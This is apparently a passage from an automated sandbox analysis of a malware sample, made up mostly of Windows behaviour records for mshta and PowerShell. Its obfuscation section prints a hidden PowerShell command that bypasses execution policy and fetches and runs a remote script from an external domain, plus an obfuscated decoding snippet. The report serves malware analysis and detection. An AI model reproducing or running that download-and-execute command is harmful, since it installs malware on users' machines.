Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32 Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: powershell.exe, 00000004.00000002.2735376513.000000000CC49000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2510709371.0000000007570000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: powershell.exe, 00000004.00000002.2735376513.000000000CC49000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2510709371.0000000007570000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: protobuf-net.pdbSHA256}Lq source: powershell.exe, 00000004.00000002.2735376513.000000000CB11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2735376513.000000000CB61000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: protobuf-net.pdb source: powershell.exe, 00000004.00000002.2735376513.000000000CB11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2735376513.000000000CB61000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation
barindex
Found suspicious powershell code related to unpacking or dynamic code loading
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Anti Malware Scan Interface: FromBase64String($eDuVPKOmWLywFJ));$IobVFotupeC = $SDGGYXgNFokyD.GetBytes($VNWiNSmnoXPnxxhoE);$rCmuVVpMQptcH = $(for ($IENCMsPdnW = 0; $IENCMsPdnW -lt $IobVFotupeC.length; ) {for ($mBsGdpXEcrGMynCGazw
Suspicious powershell command line found
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://e1.foiloverturnarrival.shop/5c85i3vbf.vdf'))"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://e1.foiloverturnarrival.shop/5c85i3vbf.vdf'))" Jump to behavior
Yara detected Costura Assembly Loader
Source: Yara match File source: 4.2.powershell.exe.6819687.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.powershell.exe.6819687.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.powershell.exe.6898e70.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.powershell.exe.67d9667.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.powershell.exe.675c010.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.powershell.exe.6898e70.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000004.00000002.2473160112.000000000668F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.2473160112.0000000006898000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: powershell.exe PID: 2104, type: MEMORYSTR
Yara detected MSILLoadEncryptedAssembly
Source: Yara match File source: Process Memory Space: powershell.exe PID: 2104, type: MEMORYSTR
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_052E57AB pushad ; retf 2_2_052E57A9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_052E5790 pushad ; retf 2_2_052E57A9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_04E7DCD5 pushad ; iretd 4_2_04E7DCE9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_0723AAE1 push 8BFFFFFDh; ret 4_2_0723AAE8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_0723A8F9 push FFFFFFB9h; retf 4_2_0723A8FB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_078A9660 push 5D000000h; ret 4_2_078A96A9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_078AF3B6 push ebx; retf 4_2_078AF385
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_078A9B5C push eax; iretd 4_2_078A9F41
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_078A9B60 push eax; iretd 4_2_078A9F41
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_078A6A3F push eax; ret 4_2_078A6A59
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_078A6A60 push eax; ret 4_2_078A6A59
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_0793F62E push edx; iretd 4_2_0793F63B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_085E32D0 push 8BFFFFFFh; retf 4_2_085E32D6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_0AA419CD push B8104288h; retf 4_2_0AA419D7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_0AA41929 push B80F4288h; iretd 4_2_0AA41933
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_0AA4196A push B80F4288h; retf 4_2_0AA41974
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_0AA41686 push B80A4288h; iretd 4_2_0AA41690
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_0AA42484 push B8234288h; ret 4_2_0AA424A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_0AA60BF8 push ss; retf 4_2_0AA60BFA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_0AA60B2B push ss; retf 4_2_0AA60B32
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_0AA60B29 push ss; retf 4_2_0AA60B2A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_0AA6884B push ecx; retf 4_2_0AA68852
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_0AA68848 push ecx; retf 4_2_0AA6884A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_0AA68781 push eax; retf 4_2_0AA68782
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_0AA60D13 push ss; retf 4_2_0AA60D1A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00447154 pushad ; retn 0042h 10_2_00447155
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_004469E4 pushad ; retn 0042h 10_2_004469E5
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_0043FD60 push eax; mov dword ptr [esp], ACAFAE61h 10_2_0043FD61
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00448580 push esi; iretd 10_2_00448581
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00447752 push edx; iretd 10_2_00447756
Source: C:\Windows\SysWOW64\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
